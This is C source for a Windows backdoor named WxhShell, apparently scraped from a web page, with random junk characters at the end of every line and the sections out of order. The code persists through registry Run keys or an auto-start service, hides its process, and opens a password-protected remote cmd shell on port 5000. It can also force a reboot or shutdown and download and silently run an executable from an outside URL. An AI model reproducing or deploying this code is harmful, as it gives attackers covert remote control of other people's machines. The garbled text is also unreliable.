    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r(]Gd`]  
    if(Boot(SHUTDOWN)) U;&s=M0[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Qd'G7+  
    else { H"+|n2E^  
    closesocket(wsh); H|s Iw:  
    ExitThread(0); "% \ y$  
    } j.Y!E<e4]  
    break; =[4C[s  
    } z@[n?t!7k  
  // 获取shell *mWS+xcU(L  
  case 's': { \U]<HEc^  
    CmdShell(wsh); [HXd|,~_j-  
    closesocket(wsh); El`G<esX  
    ExitThread(0); #\~m}O,  
    break; {w>ofyqfp&  
  } Jv2V@6a(  
  // 退出 %Y`)ZKh  
  case 'x': { ADP[KZO$ 4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ke*&*mx"L  
    CloseIt(wsh); ygm=q^bV]s  
    break; -}qay@cDt  
    } ;).QhHeg>  
  // 离开 On4Vqbks  
  case 'q': { 09Oe-Bg  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Xa8_kv_  
    closesocket(wsh); @)ozgs@e  
    WSACleanup(); Wbmqf s  
    exit(1); PClwGO8'&  
    break; 1i Y?t  
        } Z _<Wr7D  
  } n-9X<t|*?a  
  } DKQQZ` PF  
c1%ki%J#  
  // 提示信息 <Dnv=)Rq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #z}IW(u<  
} tG,xG&  
  } iaJN~m\ M  
;f3))x  
  return; #"-w;T%b  
} 1eqFMf  
XK l3B=h  
// shell模块句柄 mpCKF=KL.  
int CmdShell(SOCKET sock) T7G{)wm  
{ 6l?KX  
STARTUPINFO si; >*w(YB]/$V  
ZeroMemory(&si,sizeof(si)); d cht8nX7~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tIX|oWC$q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =WOYZ7  
PROCESS_INFORMATION ProcessInfo; ,J-YfL^x6*  
char cmdline[]="cmd"; cRPy5['E  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JENq?$S  
  return 0; `Oi6o[a  
} =uR[Jewa  
a67NWH  
// 自身启动模式 Xo4K!U>TzZ  
int StartFromService(void) fl9J  
{ N'5!4JUI  
typedef struct M\9p-%"L  
{ {u7_<G7  
  DWORD ExitStatus; [\i1I`7pE  
  DWORD PebBaseAddress; Q5v_^O<!  
  DWORD AffinityMask; bF3}L=z  
  DWORD BasePriority; NE$=R"<Gv  
  ULONG UniqueProcessId; 7^8<[8  
  ULONG InheritedFromUniqueProcessId; -,xsUw4  
}   PROCESS_BASIC_INFORMATION; wmS:*U2sc  
$VE=sS.  
PROCNTQSIP NtQueryInformationProcess; == i?lbj  
dJg72?"ka  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0SLn0vD!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; EEp,Z`  
~_L_un.R  
  HANDLE             hProcess; tTrue?  
  PROCESS_BASIC_INFORMATION pbi; 78+PG(Q_M  
Q[F$6m%o  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zw X 1&rN  
  if(NULL == hInst ) return 0; w0t||qj^>"  
4THGHS^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); PAXdIh[]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UG9 Ha  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,}#l0 BY  
PT`gAUCw  
  if (!NtQueryInformationProcess) return 0; l7JY`x  
V-iY2YiR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {@[z-)N7\,  
  if(!hProcess) return 0; RnkrI~x  
xBcE>^{1.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X6@G)68  
Ik|nL#JH]  
  CloseHandle(hProcess); E>SLR8!C v  
ugt|'i  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G_x<2E"d  
if(hProcess==NULL) return 0; nz]+G2 h  
6ax|EMw  
HMODULE hMod; djcC m5m  
char procName[255]; J4ltHk.|  
unsigned long cbNeeded; |P]>[}mD  
;/Dp  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :>g*!hpb  
DPZG_{3D  
  CloseHandle(hProcess); B[O1^jdO  
#}!Ge  
if(strstr(procName,"services")) return 1; // 以服务启动 c`&<"Us  
!_gHIJiq}  
  return 0; // 注册表启动 ZjXpMx,  
} 3v%V\kO=F  
cA4xx^~  
// 主模块 7].FdjT.  
int StartWxhshell(LPSTR lpCmdLine) _6 |lw&o07  
{ !8O*)=RA  
  SOCKET wsl; +H~})PeQ  
BOOL val=TRUE; 3Ga! )  
  int port=0; y\&`A:^[ A  
  struct sockaddr_in door; 9q -9UC!g  
_YW1Mk1  
  if(wscfg.ws_autoins) Install(); .qCD(XZ+  
.pOTIRbA  
port=atoi(lpCmdLine); ^i^/d#  
Rx 4 ;X  
if(port<=0) port=wscfg.ws_port; *1KrI9i  
XaV h.  
  WSADATA data; =)3tVH&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3X&}{M:Qo  
3R[5prE<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q0_UBm^f  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {\L /?#  
  door.sin_family = AF_INET; ZLJfSnB  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -Ug  
  door.sin_port = htons(port); ayJKt03\O\  
M38QA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (P[:g  
closesocket(wsl); _s Z9p4]  
return 1; <o";?^0Q  
} ^{GnEqml&  
c?{&=,u2  
  if(listen(wsl,2) == INVALID_SOCKET) { z5v)~+"1  
closesocket(wsl); 7N / v  
return 1; XOzd{  
} S& % G B  
  Wxhshell(wsl); $)M8@d  
  WSACleanup(); *;wPAQE  
"Fu*F/KW  
return 0; <$LVAy"RD  
61q:nWs  
} g jJ?*N[  
<3iL5}  
// 以NT服务方式启动 #$QC2;/)F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >v9 ("  
{ k"V| f&  
DWORD   status = 0; bBBW7',[a  
  DWORD   specificError = 0xfffffff; #]'#\d#i  
3PLv;@!#j}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (8u.Xbdh  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3eqnc),Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )Ab!R:4  
  serviceStatus.dwWin32ExitCode     = 0; F{a--  
  serviceStatus.dwServiceSpecificExitCode = 0; y8uB>z+#+;  
  serviceStatus.dwCheckPoint       = 0; t/\J  
  serviceStatus.dwWaitHint       = 0; ++Qg5FukR  
Cyg\FHs  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); WUSkN;idVG  
  if (hServiceStatusHandle==0) return; hTZaI*  
pDO&I]S`q0  
status = GetLastError(); (5] |Kcp|  
  if (status!=NO_ERROR) jemg#GB8  
{ q"@Y2lhD!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E-_FxBw  
    serviceStatus.dwCheckPoint       = 0; mYf7?I~  
    serviceStatus.dwWaitHint       = 0; wIIxs_2Q0c  
    serviceStatus.dwWin32ExitCode     = status; r<38; a  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7yLO<o?9w  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); j_VTa/  
    return; xJ)hGPrAl  
  } y|1,h}H^n  
(-tF=wR,W  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \e64Us>"x  
  serviceStatus.dwCheckPoint       = 0; 00 Qn1  
  serviceStatus.dwWaitHint       = 0; p=vu<xXtD  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); FWv-_  
} )>$@cH  
<o8j+G)K#  
// 处理NT服务事件,比如:启动、停止 ^b=9{.5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \Jr ta  
{ h[M~cZ{  
switch(fdwControl) [!B($c|\  
{ st"uD\L1p:  
case SERVICE_CONTROL_STOP: {#aW")x^#  
  serviceStatus.dwWin32ExitCode = 0; > Q+Bw"W<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]42bd  
  serviceStatus.dwCheckPoint   = 0; u/3 4E=  
  serviceStatus.dwWaitHint     = 0; 3>Ts7 wM  
  { 2?h c94  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ly1V@  
  } o qa]iBO  
  return; E(F<shT#  
case SERVICE_CONTROL_PAUSE: y#Je%tAe 2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; h0ufl.N_%  
  break; *6 oQW  
case SERVICE_CONTROL_CONTINUE: m0+X 109  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :|3n`,  
  break; SnsOuC5Ah  
case SERVICE_CONTROL_INTERROGATE: ,b2YUb]U  
  break; 7yGc@kJ?  
}; m?I$XAE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i#o:V/Z .  
} zrWkz3FN  
T >X nVK  
// 标准应用程序主函数 Zi5d"V[}T  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) IKx]?0sS  
{ / E~)xgPM<  
=c 3;@CO  
// 获取操作系统版本 Ww&~ZZZ {  
OsIsNt=GetOsVer(); 8.4 1EKr2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !iBe/yb  
#?/&H;n_8S  
  // 从命令行安装 cs[_5r&:  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,2\?kPoc8  
Te=[tx~x  
  // 下载执行文件 e|)6zh<O:  
if(wscfg.ws_downexe) { >CtT_yhx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C'mYR3?m;  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5}d"nx  
} gPs%v`y)*D  
v o vc,4}  
if(!OsIsNt) { 7'g'qUW+~  
// 如果时win9x,隐藏进程并且设置为注册表启动 by z2u  
HideProc(); \8v{9Yb  
StartWxhshell(lpCmdLine); &VG|*&M  
} 0Q^ -d+!  
else YY~BNQn6d  
  if(StartFromService()) V7}5Zw1  
  // 以服务方式启动 34ij5bko_)  
  StartServiceCtrlDispatcher(DispatchTable); Ve,h]/G  
else acd8?>%[  
  // 普通方式启动 <T?H H$es)  
  StartWxhshell(lpCmdLine); P%`|Tu!B  
w E^6DNh  
return 0; C{mL]ds<  
} tHlKo0S$0  
4 [2^#t[  
R%)ZhG*  
[J4 Aig  
=========================================== ;8z40cD  
i[obQx S94  
U40adP? a  
Jj=0{(X  
[C)JI;\  
,MkldCV  
" K:Mm?28s  
P|mV((/m4  
#include <stdio.h> 2 MFGKzO  
#include <string.h> *~b3FLzq  
#include <windows.h> n3w(zB  
#include <winsock2.h> ?' F>DN  
#include <winsvc.h> "Uy==~  
#include <urlmon.h> )aY^k|I  
n{oRmw-  
#pragma comment (lib, "Ws2_32.lib") +3B^e%`NPm  
#pragma comment (lib, "urlmon.lib") "YLH]9"=  
*LnY}#  
#define MAX_USER   100 // 最大客户端连接数 ?@W=bJ8{  
#define BUF_SOCK   200 // sock buffer ,0ZkE}<=w  
#define KEY_BUFF   255 // 输入 buffer 3m1]Ia -9  
~9#nC`%2j  
#define REBOOT     0   // 重启 #P:o  
#define SHUTDOWN   1   // 关机 |)'gQvDM  
@.T w*t  
#define DEF_PORT   5000 // 监听端口 lLD-QO}/  
nNe`?TS?f  
#define REG_LEN     16   // 注册表键长度 B{IYVviiP  
#define SVC_LEN     80   // NT服务名长度 7gIK+1`  
C~\/FrO?  
// 从dll定义API @R+bR<}]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;DWtCtD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Yv0;UKd  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qkX}pQkG)h  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); DtBIDU]  
}q0lbwYlb  
// wxhshell配置信息 f@@2@# 5B  
struct WSCFG { ('1k%`R%  
  int ws_port;         // 监听端口 v/%q*6@  
  char ws_passstr[REG_LEN]; // 口令 UO-<~DgH  
  int ws_autoins;       // 安装标记, 1=yes 0=no qta^i819  
  char ws_regname[REG_LEN]; // 注册表键名 /+pPcK  
  char ws_svcname[REG_LEN]; // 服务名 C4V#qhj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Jz(!eTVs  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =\v./Q-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [H#*#v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no T*"15ppfk  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mG,%f"b0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &=SP"@D  
-OLXRc=  
}; 5fGUJ[F=  
\VW&z:/*pZ  
// default Wxhshell configuration .:eNL]2%:  
struct WSCFG wscfg={DEF_PORT, ]V9z)uz  
    "xuhuanlingzhe", gemjLuf  
    1, RfPRCIo  
    "Wxhshell", I"*;fdm  
    "Wxhshell", }@Mx@ S  
            "WxhShell Service", .;gK*`G2W)  
    "Wrsky Windows CmdShell Service", gR `:)>  
    "Please Input Your Password: ", .f'iod-   
  1, IbRy~  
  "http://www.wrsky.com/wxhshell.exe", 2Z]<MiAxD  
  "Wxhshell.exe" !oXA^7Th6]  
    }; #UN(R  
U'i L|JRF  
// 消息定义模块  .*H0{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^/+0L[R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7h?yAgDv~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; p{:r4!*L  
char *msg_ws_ext="\n\rExit.";  o^59kQT  
char *msg_ws_end="\n\rQuit."; =m@5$  
char *msg_ws_boot="\n\rReboot..."; f3h&K}x  
char *msg_ws_poff="\n\rShutdown..."; \R& 4Nu2F  
char *msg_ws_down="\n\rSave to "; ns.[PJ"8  
 )]2yTG[  
char *msg_ws_err="\n\rErr!"; @a.Y9;O  
char *msg_ws_ok="\n\rOK!"; wEK@B&DV  
^'8T9N@U  
char ExeFile[MAX_PATH]; @Yua%n6]#D  
int nUser = 0; HLMEB0zh^  
HANDLE handles[MAX_USER]; c`UJI$Q/  
int OsIsNt; 1XZ|}Xz  
]Y[8|HJ8  
SERVICE_STATUS       serviceStatus; ? C2 bA5 M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; l'~]8Wo1  
#80*3vi~F  
// 函数声明 zT}Qrf~  
int Install(void); :=#*[H  
int Uninstall(void); >/Z#{;kOz  
int DownloadFile(char *sURL, SOCKET wsh); Meh?FW||5  
int Boot(int flag); A%u@xL,_  
void HideProc(void); v |/IN  
int GetOsVer(void); 0D1yG(ck  
int Wxhshell(SOCKET wsl); x{io*sY-  
void TalkWithClient(void *cs); x>Ah4a d  
int CmdShell(SOCKET sock); \K 01 F  
int StartFromService(void); g j`"|  
int StartWxhshell(LPSTR lpCmdLine); dG{`Jk  
pk'@!|g%=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w $7J)ngA9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?U0iHg{  
x q93>Hs  
// 数据结构和表定义 t" 1'B!4  
SERVICE_TABLE_ENTRY DispatchTable[] = ak50]KYo  
{ `+b>@2D_  
{wscfg.ws_svcname, NTServiceMain}, +j5u[X  
{NULL, NULL} "r0z( j  
}; 1QRE-ndc  
P9J3Ii!  
// 自我安装 RM53B  
int Install(void) z;x `dOP  
{ amf=uysr  
  char svExeFile[MAX_PATH]; 5Ah-aDBj  
  HKEY key; mQ#@"9l%  
  strcpy(svExeFile,ExeFile); 3nBbPP_  
uPe4Rr  
// 如果是win9x系统,修改注册表设为自启动 lh* m(  
if(!OsIsNt) { GK}?*Lf s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z) 5n&w S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =y7]9SOq  
  RegCloseKey(key); 3Z'{#<1>^;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G?QFF6)}!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~c!zTe  
  RegCloseKey(key); EU,4qO  
  return 0; 6<H[1PI`,G  
    }  e4NT  
  } @6GM)N\{[  
} 7|6tH@4Ub  
else { w_^&X;0^  
h~elF1dG  
// 如果是NT以上系统,安装为系统服务 bWv6gOPR3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); PKC``+K i  
if (schSCManager!=0) K_nN|'R-  
{ > c7/E  
  SC_HANDLE schService = CreateService fRT:@lV  
  ( bi!4I<E>k  
  schSCManager, <Q=ES,M  
  wscfg.ws_svcname, ^e8R 43w:!  
  wscfg.ws_svcdisp, 5h[u2&;G  
  SERVICE_ALL_ACCESS, p)ta c*US  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , QN-n9f8  
  SERVICE_AUTO_START, UA,&0.7  
  SERVICE_ERROR_NORMAL, +nd'Uf   
  svExeFile, @Risab n  
  NULL, U6X~]|o  
  NULL,  wB5zp  
  NULL, 7V0:^Jov  
  NULL, MV$>|^'em  
  NULL w;QDQ fx0  
  ); CV4V_G  
  if (schService!=0) s~/]nz]"J  
  { 5HG 7M&_  
  CloseServiceHandle(schService); (uOW5,e7  
  CloseServiceHandle(schSCManager); ,-CDF)~G=3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); '*>LZo4  
  strcat(svExeFile,wscfg.ws_svcname); $},:z]%D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { LO.4sO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zx-+u7qKH  
  RegCloseKey(key); :G^`LyOM  
  return 0; ENC_#- 1x  
    } =(v!pEF  
  } SX^fh.  
  CloseServiceHandle(schSCManager); 94APjqV6'  
} w^|,[G ^}H  
} X 3L9j(  
w#F+rh3  
return 1; |@nvg>mu  
} e+y< a~N  
4Bx1L+Cg  
// 自我卸载 Z(K[oUJx  
int Uninstall(void) NH 'RU`U)  
{ +7 F7Kh  
  HKEY key; H.idL6*G  
P+}qaup  
if(!OsIsNt) { q'(WIv@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !+ uMH!  
  RegDeleteValue(key,wscfg.ws_regname); 'dWJ#9C  
  RegCloseKey(key); phXVuQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZX'{o9+w5  
  RegDeleteValue(key,wscfg.ws_regname); h| UT/:  
  RegCloseKey(key); IU$bP#<  
  return 0; TP{a*ke^5,  
  } =V5.c+  
} -&)^|Atm  
} ,;+\!'lS  
else { 7Wb.(` a<  
A^,(Vyd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {+xUAmd  
if (schSCManager!=0) u~s'<c+8_  
{ dt`L}Yi  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =AD/5E,3  
  if (schService!=0) p~8~EQFj  
  { 3]N}k|lb%  
  if(DeleteService(schService)!=0) { M8[YW|VkP  
  CloseServiceHandle(schService); @O45s\4-*  
  CloseServiceHandle(schSCManager); \=N tbBL$[  
  return 0; ~7 `x9MUc  
  } {6%uNT>|  
  CloseServiceHandle(schService); >t D-kzN  
  } ik$wS#1+L  
  CloseServiceHandle(schSCManager); $,aU"'D  
} H&03>.b  
} |Y'$+[TE  
K6Gc)jp:b  
return 1; 3~cOQ%#]4  
} A^K,[8VX  
M%B[>pONb7  
// 从指定url下载文件 l m  
int DownloadFile(char *sURL, SOCKET wsh) e-e{-pB6  
{ 5)nv  
  HRESULT hr; }qKeX4\-  
char seps[]= "/"; >`{i[60r  
char *token; {Y0I A97,  
char *file; rM?D7a{q  
char myURL[MAX_PATH]; mCz6&  
char myFILE[MAX_PATH]; Q%eBm_r;  
^1~/FU  
strcpy(myURL,sURL); 8W$="s2  
  token=strtok(myURL,seps); Q ,;x;QR4  
  while(token!=NULL) N\uQ-XOi  
  { ~HYP:6f  
    file=token; rqF PUp  
  token=strtok(NULL,seps); PzV(e)~7  
  } ?ft_  
~zm/n,Epb  
GetCurrentDirectory(MAX_PATH,myFILE); &)X<yd0  
strcat(myFILE, "\\"); <rC#1wR4  
strcat(myFILE, file); wP8R=T  
  send(wsh,myFILE,strlen(myFILE),0); < `r+l5  
send(wsh,"...",3,0); JxLH]1b  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); XS!ZTb>[  
  if(hr==S_OK) 6pLwwZD  
return 0; LqUvEq  
else 3FXMM&w  
return 1; |E~X]_Y  
^&6NB)6  
} eAuJ}U[  
I !(yU  
// 系统电源模块 ; zvnDox  
int Boot(int flag) /y!Vs`PZ!  
{ }w-`J5Eq#  
  HANDLE hToken; >bZ#  
  TOKEN_PRIVILEGES tkp; qXhrK /  
OK)0no=OAK  
  if(OsIsNt) { :9`1bZ?a  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); IWWFl6$-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); kdHql>0  
    tkp.PrivilegeCount = 1; L|Ydd!m  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sN g"JQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *C:+N>  
if(flag==REBOOT) { A;|DQR()  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L_.}z)S[\  
  return 0; u!-eP7;7  
} 0*AlLwO  
else { |M?HdxPa  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @\h(s#sn  
  return 0; Ue8D:C M  
} E^YbyJ=1  
  } ;VuB8cnL`  
  else { os.x|R]_  
if(flag==REBOOT) { C C09:L?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @i68%6H`?  
  return 0; YiJu48J  
} Q&#:M>!|  
else { sy`s$E d!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) lC4By,1*  
  return 0; - Q@d  
} 6~8 RFf"  
} h0eo:Ahi  
m2! 7M%]GC  
return 1; TkBBHg;  
} "EHc&,B`  
kb:C>Y8!sC  
// win9x进程隐藏模块 bn`zI~WS  
void HideProc(void) c[y8"M5  
{ 1v4kN -  
bGJUu#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5QSmim  
  if ( hKernel != NULL ) 1P[Lz!C  
  { 3a qmK.`H  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L C7LO  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &wuV}S 7  
    FreeLibrary(hKernel);  %aKkk)s  
  } .'a|St  
mr1}e VM~!  
return; y|dXxd9  
} uqUo4z5T  
Z:v1?v  
// 获取操作系统版本 ,$]q2aL  
int GetOsVer(void) N93E;B  
{ _tk5?9Ykn  
  OSVERSIONINFO winfo; oB\Xl)A<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nAg(lNOWN  
  GetVersionEx(&winfo); K;qZc\q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) PWMaB  
  return 1; zEB1Br,  
  else }j?S?=;m=  
  return 0; zvf]}mNx  
} ;Wa{q.)  
%p9bl ,x  
// 客户端句柄模块 c6HU'%v  
int Wxhshell(SOCKET wsl) ,_$"6  
{ tTt3D]h(  
  SOCKET wsh; ]#$kA9  
  struct sockaddr_in client; LU{Z  
  DWORD myID; ]~^/w}(K  
8UIL_nPO  
  while(nUser<MAX_USER) =5ih,>>g  
{ 9^^#I ~-  
  int nSize=sizeof(client); W~%~^2g ;k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5u46Vl{  
  if(wsh==INVALID_SOCKET) return 1; qX(%Wn;n  
gQuw|u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L0kNt &di  
if(handles[nUser]==0) NXBOo  
  closesocket(wsh); ?I'-C?(t@1  
else v-3zav  
  nUser++; Hl;p>>n  
  } J,O@T)S@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j/<y  
 J31M:<  
  return 0; 6^|6V  
} [kOA+\v  
D-GU"^-9  
// 关闭 socket `z_7[$\~  
void CloseIt(SOCKET wsh) &HK s >  
{ ;J(,F:N  
closesocket(wsh); rcZ SC3  
nUser--; eeU$uR  
ExitThread(0); @MB _gt)7?  
} XKX,7  
4Aew )   
// 客户端请求句柄 n^\;*1%$c@  
void TalkWithClient(void *cs) &=Zg0Q  
{ />Vx*^u8Hz  
} 4]<P  
  SOCKET wsh=(SOCKET)cs; F2$bUY  
  char pwd[SVC_LEN];  <%D"eD  
  char cmd[KEY_BUFF]; X`n0b<  
char chr[1]; b 0b9#9x  
int i,j; qffSq](D.  
f_!`~`04  
  while (nUser < MAX_USER) { L~{Vt~H9"  
&H&P)Px*_  
if(wscfg.ws_passstr) { A{I a21T7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <aaDW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mRH]'d lD7  
  //ZeroMemory(pwd,KEY_BUFF); WKl'  
      i=0; kqW<e[  
  while(i<SVC_LEN) { 6b70w @P!  
<cv1$ x ~P  
  // 设置超时 %hbLT{w  
  fd_set FdRead; kc'0NE4oq  
  struct timeval TimeOut; /iy*3P,`  
  FD_ZERO(&FdRead); e=l5j"gq  
  FD_SET(wsh,&FdRead); m"( d%N7  
  TimeOut.tv_sec=8; .'b3iG&  
  TimeOut.tv_usec=0; @CU|3Qg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bmVgTm&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); '[ g)v  
NWHH.1|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); < }wAP_y  
  pwd=chr[0]; $SzCVWS  
  if(chr[0]==0xd || chr[0]==0xa) { z|]oM#Gt  
  pwd=0; iQ!  
  break; H='9zqYZ<W  
  } DIqT>HHZ  
  i++; L%K_.!d^  
    } Bdq"6SK>  
.x!7  
  // 如果是非法用户,关闭 socket '<D`:srV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); te*Y]-&I|/  
} e#6&uFce  
2Z`$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H'0*CiHes  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :gD0EqV  
HCjn9  
while(1) { ;2Ad])  
{#*?S>DA  
  ZeroMemory(cmd,KEY_BUFF); *[xNp[4EU  
wEfz2Eq  
      // 自动支持客户端 telnet标准   ]tQDk4&i  
  j=0; L.0} UXd  
  while(j<KEY_BUFF) { y/}VtD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HcBH!0  
  cmd[j]=chr[0]; e}R2J `7  
  if(chr[0]==0xa || chr[0]==0xd) { *mQDS.'AB@  
  cmd[j]=0; N^Hn9n  
  break; B)DC,+@$  
  } BH#C<0="  
  j++; StyB"1y  
    }  w{ r(F`  
l<aqiZSY  
  // 下载文件 LN.Bd,  
  if(strstr(cmd,"http://")) { (]}x[F9l  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); cPx ~|,)l  
  if(DownloadFile(cmd,wsh)) \ L9?69B~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); V8nz-DL{  
  else g^z5fFLg/8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lov.E3S6;  
  } 4h;f>BG  
